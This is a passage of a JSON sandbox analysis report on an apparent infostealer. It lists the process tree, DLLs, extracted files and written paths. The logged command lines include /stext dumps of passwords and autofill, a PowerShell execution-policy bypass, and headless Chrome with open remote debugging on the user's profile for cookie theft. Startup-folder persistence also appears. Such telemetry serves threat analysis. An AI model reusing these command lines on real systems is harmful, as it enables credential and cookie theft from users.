\"%APPDATA%\\DefenderLogs-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00004424"},{"pid":692,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\WorkingTasks-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00000692"},{"pid":6272,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\Bookmarks-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00006272"},{"pid":5876,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\ProductKeys-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00005876"},{"pid":5252,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\ExtensionsView-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00005252"},{"pid":5148,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\Autofill-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00005148"},{"pid":2708,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\AllPasswords-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00002708"},{"pid":7948,"ppid":5992,"name":"powershell.exe","command_line":"-ExecutionPolicy Bypass -File \"%APPDATA%\\","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005992","uid":"00000000-00007948"},{"pid":4504,"ppid":7948,"name":"chrome.exe","command_line":"--remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir=\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\" --profile-directory=\"Default\"","sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007948","uid":"00000000-00004504"},{"pid":6888,"ppid":4504,"name":"chrome.exe","command_line":"--type=crashpad-handler \"--user-data-dir=%LOCALAPPDATA%\\Google\\Chrome\\User Data\" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler \"--database=%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Crashpad\" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.112 --initial-client-data=0xb8,0xbc,0xc0,0x94,0xc4,0x7ff8a7dbdc40,0x7ff8a7dbdc4c,0x7ff8a7dbdc58","sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004504","uid":"00000000-00006888"},{"pid":8044,"ppid":4504,"name":"chrome.exe","command_line":"--type=gpu-process --no-sandbox --headless=new --noerrdialogs --user-data-dir=\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\" --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1864 --field-trial-handle=1868,i,13034719448213055112,12757545062740420330,262144 --disable-features=PaintHolding --variations-seed-version=20240307-180129.405000 /prefetch:2","sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004504","uid":"00000000-00008044"},{"pid":7908,"ppid":4504,"name":"chrome.exe","command_line":"--type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir=\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\" --no-appcompat-clear --mojo-platform-channel-handle=2752 --field-trial-handle=1868,i,13034719448213055112,12757545062740420330,262144 --disable-features=PaintHolding --variations-seed-version=20240307-180129.405000 /prefetch:8","sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004504","uid":"00000000-00007908"},{"pid":1912,"ppid":4504,"name":"chrome.exe","command_line":"--type=renderer --noerrdialogs --user-data-dir=\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\" --enable-chrome-cart --no-appcompat-clear --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --time-ticks-at-unix-epoch=-1758146301444729 --launch-time-ticks=2461188278 --mojo-platform-channel-handle=3404 --field-trial-handle=1868,i,13034719448213055112,12757545062740420330,262144 --disable-features=PaintHolding --variations-seed-version=20240307-180129.405000 /prefetch:1","sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00004504","uid":"00000000-00001912"},{"pid":6212,"ppid":7948,"name":"chrome.exe","command_line":"--remote-debugging-port=9222 --remote-allow-origins=* --headless=new --disable-gpu --no-sandbox --user-data-dir=\"%LOCALAPPDATA%\\Google\\Chrome\\User Data\"","sha256":"e10f56caf3c43f2570fc033078e38e48e2f372d371e3d3e0cff988264091f61f","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007948","uid":"00000000-00006212"},{"pid":7468,"ppid":0,"name":"System Properties.exe","command_line":"","sha256":"3e5b53f8b01e9eaf54c9879fc832f3f71e6b078b6f4cacc93cad05e2a2ff031e","normalized_path":"%ALLUSERSPROFILE%\\System Properties.exe","uid":"00000000-00007468","icon":"$72"}],"all_imported_dlls":["shlwapi.dll","clr.dll","srvcli.dll","winmmbase.dll","d3d11.dll","VxSSL32.dll","System.Windows.Forms.ni.dll","System.Xml.ni.dll","GdiPlus.dll","setupapi.dll","mfsensorgroup.dll","cryptsp.dll","imagehlp.dll","linkinfo.dll","fastprox.dll","msvcrt.dll","rpcrt4.dll","powrprof.dll","imm32.dll","FWPUCLNT.DLL","CoreUIComponents.dll","System.Management.dll","iertutil.dll","ntdll.dll","cldapi.dll","wmiutils.dll","DWrite.dll","mfplat.dll","user32.dll","version.dll","System.Drawing.ni.dll","System.Configuration.ni.dll","dhcpcsvc6.dll","dhcpcsvc.dll","taskschd.dll","kernel.appcore.dll","mscorlib.ni.dll","mswsock.dll","DataExchange.dll","dcomp.dll","profapi.dll","propsys.dll","cryptbase.dll","rsaenh.dll","msdmo.dll","comdlg32.dll","ResourcePolicyClient.dll","AcLayers.dll","ws2_32.dll","ntshrui.dll","nsi.dll","userenv.dll","System.Web.Extensions.dll","msvcp_win.dll","Windows.StateRepositoryPS.dll","msctf.dll","dnsapi.dll","TextInputFramework.dll","msvfw32.dll","rasman.dll","winhttp.dll","avicap32.dll","libGLESv2.dll","ucrtbase.dll","cfgmgr32.dll","edputil.dll","crypt32.dll","combase.dll","oleaut32.dll","IPHLPAPI.DLL","urlmon.dll","cscapi.dll","System.Net.Http.ni.dll","NapiNSP.dll","atl.dll","Microsoft.PowerShell.Security.dll","gdi32.dll","clbcatq.dll","System.ni.dll","msasn1.dll","ntmarta.dll","xmllite.dll","ntasn1.dll","pstorec.dll","fltLib.dll","mscoreei.dll","WMINet_Utils.dll","win32u.dll","sechost.dll","msIso.dll","System.Core.ni.dll","winmm.dll","wintrust.dll","sfc_os.dll","ole32.dll","RTWorkQ.dll","wbemprox.dll","WindowsCodecs.dll","wow64win.dll","gdi32full.dll","clrjit.dll","Microsoft.VisualBasic.ni.dll","System.Management.ni.dll","winnsi.dll","bcryptprimitives.dll","sxs.dll","CoreMessaging.dll","System.IO.Compression.FileSystem.dll","pnrpnsp.dll","dpapi.dll","webengine4.dll","Windows.Media.dll","mpr.dll","bcrypt.dll","vcruntime140_clr0400.dll","WinTypes.dll","wbemcomn.dll","dbghelp.dll","wow64.dll","wow64cpu.dll","SHCore.dll","comctl32.dll","ucrtbase_clr0400.dll","psapi.dll","KernelBase.dll","uxtheme.dll","aepic.dll","rasadhlp.dll","wbemsvc.dll","System.Drawing.dll","winrnr.dll","windows.storage.dll","sfc.dll","devenum.dll","dxgi.dll","vk_swiftshader.dll","kernel32.dll","scrrun.dll","wininet.dll","atlthunk.dll","chrome.dll","apphelp.dll","shell32.dll","dwmapi.dll","System.Windows.Forms.dll","vulkan-1.dll","advapi32.dll","mscoree.dll","VxSSL64.dll","nlaapi.dll","System.Transactions.dll","secur32.dll","sspicli.dll","OneCoreUAPCommonProxyStub.dll","wevtapi.dll","clrcompression.dll","vaultcli.dll","coml2.dll","chrome_elf.dll","samcli.dll","dsrole.dll","msacm32.dll","ktmw32.dll","nlssorting.dll","certcli.dll","wship6.dll","ncrypt.dll","RpcRtRemote.dll","ieframe.dll","webio.dll","lpk.dll","shdocvw.dll","WSHTCPIP.DLL","AcGenral.dll","SensApi.dll","api-ms-win-downlevel-version-l1-1-0.dll","normaliz.dll","ntdsapi.dll","usp10.dll","mscorrc.dll","schannel.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","wbemcomn2.dll","rpcss.dll","gpapi.dll","System.IO.Compression.FileSystem.ni.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","credssp.dll","devobj.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","tzres.dll","api-ms-win-downlevel-user32-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","slc.dll","api-ms-win-core-xstate-l2-1-0.dll","Wldap32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","cryptnet.dll","System.IO.Compression.ni.dll","rasapi32.dll","rtutils.dll","System.Data.dll","pwrshsip.dll","wshbth.dll","netutils.dll","BCP47Langs.dll","wldp.dll","amsi.dll","System.DirectoryServices.dll","MpOAV.dll","wow64base.dll","ncryptsslp.dll","wshext.dll","diasymreader.dll","AppResolver.dll","wow64con.dll","LD0MFACP.dll","virtdisk.dll","vcruntime140_1_clr0400.dll","System.Runtime.Serialization.ni.dll","AppxSip.dll","Microsoft.PowerShell.Commands.Utility.dll","nlansp_c.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"System Properties.exe","sha256":"3e5b53f8b01e9eaf54c9879fc832f3f71e6b078b6f4cacc93cad05e2a2ff031e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"explorcr.exe","sha256":"ff37506f2c1d82d61f2eadefe66a685d1142d29b7790d90b76c5969a282cc752","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"explorer.exe","sha256":"ff37506f2c1d82d61f2eadefe66a685d1142d29b7790d90b76c5969a282cc752","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"windows defender.exe","sha256":"16a1317ad2b3a3464c1c97066ce8329a96b226607760393c29eb145e8c7c666c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"tmp98B1.tmp.bat","sha256":"2361ba4f8ef882e0c3b4b53f6f06f58bda2395648633b106c9818e6ed86af88b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Finder-Latest.log","sha256":"ba68416ba2b714d74a9644de84dcc3688366be02303a876ce32f405e0433ad78","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"System Properties.lnk","sha256":"aed3ee84e903d8088cb957d2110198288216e64541a46b58f0e8a6f19313cf85","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"explorer.exe.log","sha256":"4929f91e99a1df1de964637e039cba106d5822201cb646a09eb1776e70d87770","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"ModuleAnalysisCache","sha256":"2894c5e7d2a5044032219d4d040ce907bd7c57b19b4040fb5222f2e91dde0643","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"77EC63BDA74BD0D0E0426DC8F8008506","sha256":"d17718300c59179d0e14da65e65ecde2270b29f2973103590eb6e96089f17088","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"Build.exe","sha256":"611bd4df0173c0c03ec35310d4b96514760c8583dbcb1c06bb573d90fd0040c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"cookieextract.ps1","sha256":"7d1c93f66ce2582570e64695da5ed92fba44f6a916efda4a417478ca7952c2fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Launcher.exe","sha256":"9a657f8a9e75786f58aa9775b5b403544fc15249a22bc13165472f4ec7c20b6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Log.tmp","sha256":"17c6f2fb656731ed914f5c2846a4248d1b66a89a86f5e0bfed6c02decb54d31c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"AdapterWatch.html","sha256":"8d162172b0913a2324e93ea76486505a3b783629d41d818ce8b60845f5d6b6b5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"ChromeV20Passwords.txt","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"credentials.txt","sha256":"51675385f1f4cc0ed59b1512ed4a2883c8c5d4f1577488b4484591407641159d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"notes.txt","sha256":"e1f42bac5ba279aa6b882e9943c9e2cc440313f82dc16581c129bded65a94b9a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"GetAllPasswords.txt","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"GetAlternativeEdgeCookies.txt","sha256":"55796f9443ede114394b3881c8b5de2c1825647a05e864d184b0c228530456ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"GetAutofill.txt","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"GetBookmarks.txt","sha256":"30aa7df3cce776f276eeefeb83ecb3875b6c25498813da8d049a480ec70a3eed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"ZeroTrace_U8TITCg9vv_20250918_025807.zip","sha256":"63df5f2e46c3d08d743c6c44d763603076ce4fb6ef7dac9b5ea3fd7b956c451c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"screenshot_20250917_195800.png","sha256":"7ef600d8a0035d2e24835ff90fae5715a2a06ee9607efe5f774bf80f7b327a78","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"cke8F26.tmp","sha256":"c4c49e874abd38b83cb8eefe46d05d21dfc3502a69a59fb672316a50b04462c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"ExtensionsView-output_20250917151000.txt","sha256":"32efb3a3a5d168319766d1ceac7bebedde18f35b61906a16d15f7009de13be9c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"Bookmarks-output_20250917151000.txt","sha256":"f03e2b8bbfa8bdc7a9d4b7f0f2d5966289875398ac4782595a899476ee94b593","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"WorkingTasks-output_20250917151000.txt","sha256":"35f2d62cafff213afe1f7f371540c255f99da2fc904a03c5f193dcabdfd43b92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"ProductKeys-output_20250917151000.txt","sha256":"b364737c75b19cf11f825ea4553b55a8f25871ee39caec23f78b873d3d5e3e80","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"system_info.txt","sha256":"f7f8f91ba22eb3bebfb5c7b8aed3548613e06837ec5323c032814eb79a91d774","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"tmp499E.tmp.bat","sha256":"998b4c22d0f6b72bfdbb07121d83063a4c5a86d39cd476d673983c63d5fe9fa9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"GetBrowserHistory.txt","sha256":"b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"screenshot_20260224_063703.png","sha256":"74d3ac8119ad100e7794af1e65eb5a5ee0024fd5f5cd684e92db3150274a4f82","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"ZeroTrace_8gNdbKFPbv_20260224_120002.zip","sha256":"58b62595f7186655a46f4e3e9cb621b92878f4a66d940f1e270a3d2b1c428160","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"ckeBDF2.tmp","sha256":"c4c49e874abd38b83cb8eefe46d05d21dfc3502a69a59fb672316a50b04462c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"WorkingTasks-output_20260224031100.txt","sha256":"5890d36c94a4538e3c0239e1933c3ddf05d59ef6a2a269d3c70e863f66cd099f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"watch-output_20260224031100.html","sha256":"7907a321682a87134e74ac98426747eca9a145cb19287940dfe8bf8481ca4e91","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"screenshot_20250917_151810.png","sha256":"b03aa08bdcd54bfece34e2df87b3d5841099e7efa60a79c9acdd060654eddd3b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"tmp5B64.tmp.bat","sha256":"6f89e0566a065840235bea1fb9c8edd25501606289fd73138461fb29cdc75dbf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"ZeroTrace_qQDsjQDeRW3B6cj_20250917_173000.zip","sha256":"95c58fc2e35ec0fd2301e2302a834f4828a42c957a5e04d89e3c3e57e90ae7f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"StartupProfileData-NonInteractive","sha256":"2bd7044648b8fc2d5e48c425be3c1cc7a0cfee42e2de3b03de8abff78e939885","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"cookies.txt","sha256":"6a3905f49e02facf9e90cdd8b7a483c6377b9b4b9819e012900e45e731c894ef","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"__PSScriptPolicyTest_0z5swqfo.f2w.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\nswB74A.tmp","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\Launcher.exe","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\Build.exe","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\nsvC13D.tmp","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\System Properties.exe","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\windows defender.exe","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\explorer.exe","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%ALLUSERSPROFILE%\\System Properties.exe","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\System Properties.lnk","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\Log.tmp","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%APPDATA%\\7n5rJCiEX08cdKRQsT6vxkbuaZ","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\7